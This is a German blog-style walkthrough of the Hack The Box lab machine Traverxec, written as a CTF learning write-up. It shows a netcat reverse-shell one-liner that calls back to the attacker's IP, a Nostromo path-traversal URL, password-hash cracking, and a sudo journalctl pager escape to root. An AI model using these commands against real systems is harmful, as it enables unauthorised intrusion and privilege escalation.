HTB – Traverxec

  1. Scan & Exploit
  2. David
  3. Secret Home
  4. GTFO Journal
  5. Root

Einleitung – was ist HTB

hackthebox.eu ist im Prinzip eine Plattform wo mal mehr, mal weniger realitätsnahe virtuelle Maschinen in einer Netzwerk-Laborumgebung stehen. Per VPN kann man sich in das Netzwerk verbinden und über das Dashboard der Seite, sich eine gewünschte Maschine „auserwählen“. Ziel ist es immer Root Zugriff zu erlangen. Als Beweis muss man Zugriff auf die user.txt und root.txt erlangen, bzw. den dort enthaltenen Key auszulesen. Beide Dateien befinden sich in dem entsprechenden Home Verzeichnis oder auf dem Desktop. Die Keys kann man in seinem Dashboard eintragen und erhält somit (abhängig von der Schwierigkeit der Maschine) Punkte. Man kann wie ein Spiel betrachten, bei welchem man viel Zeit investieren muss aber im Gegenzug dafür eine Menge lernt.

Inspiriert dazu, hat mich das Video von IppSec auf welches ich zufällig gestoßen bin und was ich (neben allen seiner anderen Videos) jedem empfehlen kann, wer sich für das Thema Penetration Testing interessiert.

Traverxec ist eine Box mit einem relativ realistischen Setup. Der eingesetzte Webserver ist angreifbar und über ein Exploit bekommt man Zugriff auf die Shell. In der Config des Webservers findet man Weitere nützliche Informationen und kann sich Zugriff auf einen geschützten Bereich verschaffen. Dort findet man einen SSH Key. Das Passwort für diesen muss man jedoch erst knacken. Nachdem man sich Zugriff via SSH verschafft hat, erreicht man Root Zugriff über das Journal des Servers.

Scan & Exploit

Der Port Scan findet zwei offene Ports und gibt uns eine interessante Information zum Webserver.

nmap -sC -sV -oA nmap 10.10.10.165

Auf der Server läuft der Webservice Nostromo 1.9.6. Eine kurze Suche über Searchsploit

searchsploit nostromo

gibt uns direkt ein passendes Ergebnis

Das python Exploit ermöglicht es, aus dem Root Verzeichnis des Webservers auszubrechen und die Shell aufzurufen. https://www.exploit-db.com/exploits/47837

Als ersten Parameter erwartet das Script die Zieladresse und den Port, als zweiten Parameter einen Befehl, welcher ausgeführt werden soll.

Ich öffne mit NC eine Port bei mir lokal und starte das Exploit mit dem Aufruf einer reverse Shell

mkfifo /tmp/p; nc 10.10.15.220 4040 0</tmp/p | /bin/sh > /tmp/p 2>&1;rm /tmp/p

Ich bekomme einen Connect und bin als www-data auf der Maschine.

Mit python3 -c 'import pty; pty.spawn("/bin/bash")' spawn ich mir eine tty session.

Anschließend schau ich mir erstmal unter /var/nostromo den Aufbau des Webservers genauer an und finde zwei interessante Dateien.

David

In der .htpasswd finde ich einen Username und einen Hash.

Diesen mit john gecrackt, bekomme ich zu dem User david auch ein Kennwort.

Ein versuch mich per SSH einzuloggen scheitert jedoch.

Also schau ich mir die config des Nostromo Servers an, immerhin muss ja der gefundene User und das Kennwort irgendwo passen.

Ich google nach „nostromo config“ und werde auf der Seite hier schlauer: http://www.nazgul.ch/dev/nostromo_man.html

Vor allem der folgende Bereich klingt interessant

Ich versuche also direkt einen Aufruf von http://10.10.10.165/~david/

Hmm, keine Aufforderung zur Authentifizierung, hier scheint es erstmal nichts weiter zu geben, der Quelltext gibt auch keine Informationen her.

Ich versuche über die Shell mir den Inhalt von Johns Home Verzeichnis anzusehen.

Habe aber nur Berechtigungen zum Ausführen von Dateien aber nicht zum Auflisten.

Secret Home

Der Hinweiß in der MAN Seite beschreibt aber noch einen geschützten Bereich innerhalb des Home Verzeichnisses, vielleicht befinden wir uns ja in diesem Ordner. Eigentlich sagt es ja schon die config aber ich schau mir das Exploit nochmal genauer an: Über .%0d. kann man wohl in das übergeordnete Verzeichnis wechsel.

http://10.10.10.165/~david/.%0d./.%0d./

Gibt uns folgende Ausgabe

Wir befinden uns also im Ordner „public_www“, nur leider können wir den Inhalt dieses Ordners oder andere Ordner nicht auflisten.

http://10.10.10.165/~david/.%0d./.%0d./david/users.txt

oder

http://10.10.10.165/~david/.%0d./.%0d./david/.ssh/

geben uns ein Access denied zurück.

Ich muss zugeben, ich hab länger als notwendig gebraucht um an die doch recht simple Lösung zu kommen. Unter anderem hab ich erstmal versucht eine zweite Instanz des Nostrom Dienstes mit einer eigenen Config zu starten. Denn ich hab in der config gesehen, dass der Server unter dem User www-data läuft mir daher die Config kopiert, den Port geändert und den user david eingetragen. Leider klappt das starten einer weiteren Nostromo Instanz über httpd -c configfile nur wenn in der config der user www-data eingetragen ist und das bringt mich nicht weiter.

Die Lösung ist aber eh viel einfacher, denn den Ordnerinhalt von public_www kann man nämlich einfach mit der shell auflisten.

Dort finden wir ein Verzeichnis protected-file-area und ein backup.

Ich lade mir das tar file auf mein lokales System und entpacke es. Enthalten ist der private Key von david.

Mit John bekomme ich auch dafür das Passwort

Jetzt kann ich mich mit dem private Key und Kennwort per SSH einloggen

Journal

In dem Verzeichnis /home/david finden wir den Ordner bin

Dieser enthält ein Script, welches uns einen weiteren Hinweiß liefert

Nachdem ich Schreibrechte auf das Script habe, versuche ich zuerst dieses zu ändern, scheitere aber komischerweise daran

Also schau ich mir das Script mal genauer an.

Die letzte Zeile in dem Script ruft das Journal mit erweiterten (Root) Rechten auf. Jetzt muss ich nur noch herausfinden wie ich das ausnutzen kann. Ich kopiere mir die Zeile raus und schau inwieweit der Befehl eingeschränkt ist. Ich finde heraus das

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

Noch geht, aber das Weglassen von einem weiteren Buchstaben am Ende dazu führt, dass ich ein Kennwort eingeben muss

Ich google also nach journalctl und finde heraus, dass der Befehl normalerweise den default Pager öffnen sollte (welcher wiederum less verwendet). Die Ausgabe Zeigt aber, dass er (auch ohne die Ausgabe nach cat zu pipen) sofort wieder in die Shell zurückkehrt.

Bei mir lokal funktioniert es jedoch. Eher durch Zufall probiere ich mir eine neue Shell per Python aufzurufen und gebe anschließend nochmal den Befehl ein.

Es hat geklappt, ich befinde mich nun im Pager.

Root

Den Befehl zum Ausbrechen findet man leicht über Google: https://gtfobins.github.io/gtfobins/journalctl/

Über den Befehl

!/bin/sh

spawne ich mir also ein neue Shell und bin Root.

Sudoers

Aus Interesse schau ich mir noch die sudoes Datei an und finde hier die entscheidene Einstellung, welche uns den Aufruf des Journals als root ermöglicht.

Terminal Größe

Mich interessiert vor allem der Grund, warum ich mit der python Shell in den Pager Modus vom Journal komme, mit der SSH Session aber nicht. Beide haben eine tty. Daher schaue ich mir per stty -a die Terminal Größe an und finde einen unterschied zwischen der Python Session und der normalen SSH Session https://linux.die.net/man/1/stty

Ich ändere also die row und column size und probiere es nochmal, so klappt es!

File Immutable

Die Erklärung übrigens, warum man das Script server-stats.sh nicht ändern konnte, finde ich auf dieser Seite: https://delightlylinux.wordpress.com/2012/12/11/file-immutable-attribute/

Der Befehl lsattr zeigt uns, dass das Immunitätsflag gesetzt ist.

Schreibe einen Kommentar